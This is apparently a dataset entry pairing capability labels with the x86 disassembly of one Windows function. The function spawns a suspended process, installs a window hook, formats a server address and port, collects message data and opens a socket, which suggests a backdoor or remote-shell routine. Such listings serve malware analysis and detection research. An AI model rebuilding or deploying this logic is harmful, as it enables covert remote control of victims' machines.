Function at 0x10004550
Capabilities:
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Resume thread
Terminate process

Disassembly:
sub esp, 0x368
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x85]
mov byte [esp + 0x84], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp dword [0x10010014], 4
je 0x1000479f
lea eax, [esp + 0x84]
push eax
call fcn.10004500
add esp, 4
test eax, eax
je 0x1000479f
mov ebp, dword [esp + 0x380]
mov ebx, dword [esp + 0x37c]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x44]
mov dword [esp + 0x40], 0x44
rep stosd dword es:[edi], eax
xor ecx, ecx
xor esi, esi
mov dword [esp + 0x18], ecx
push ebp
mov dword [esp + 0x20], ecx
push ebx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea edx, [esp + 0x190]
push str.mythreadid_d_myserveraddr_s_myserverport_d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [esp + 0x14]
lea ecx, [esp + 0x40]
lea edx, [esp + 0x184]
push eax
push ecx
push esi
push esi
push 4
push esi
push esi
push esi
lea eax, [esp + 0xa4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10004630
push ebp
push ebx
call fcn.100047d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x368
ret
mov ecx, dword [0x1000f884]
push esi
push ecx
push 0x10004530
push 9
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp eax, esi
mov dword [0x10011018], eax
jne 0x1000466f
mov edx, dword [esp + 0x14]
push esi
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebp
push ebx
call fcn.100047d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x368
ret
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x28]
mov dword [esp + 0x24], esi
rep stosd dword es:[edi], eax
push eax
mov ecx, 0x5c
lea edi, [esp + 0x20c]
push 0x7530
mov dword [esp + 0x20c], esi
push eax
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0
lea ecx, [esp + 0x2c]
push 0
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x10004735
mov edi, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
lea edx, [esp + 0x204]
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x28]
cmp eax, 0x5b7
jne 0x100046f7
cmp dword [esp + 0x2c], 1
je 0x10004742
mov eax, dword [esp + 0x10]
mov cl, byte [esp + 0x30]
mov byte [eax], cl
inc eax
mov dword [esp + 0x10], eax
jmp 0x10004720
cmp eax, 0x5ba
jne 0x1000470e
mov edx, dword [0x10011018]
push edx
call edi
mov esi, 1
jmp 0x10004720
cmp eax, 0x5b8
je 0x10004735
cmp eax, 0x113
jne 0x10004720
test esi, esi
je 0x10004774
push 0
push 0
lea eax, [esp + 0x2c]
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x100046d4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x368
ret
push 1
lea ecx, [esp + 0x208]
push 0
push ecx
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
cmp eax, 0xffffffff
jne 0x100047b7
push ebp
push ebx
call fcn.100047d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x368
ret
mov edx, dword [0x10011018]
push edx
call edi
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebp
push ebx
call fcn.100047d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x368
ret
mov ecx, dword [esp + 0x380]
mov edx, dword [esp + 0x37c]
push ecx
push edx
call fcn.100047d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x368
ret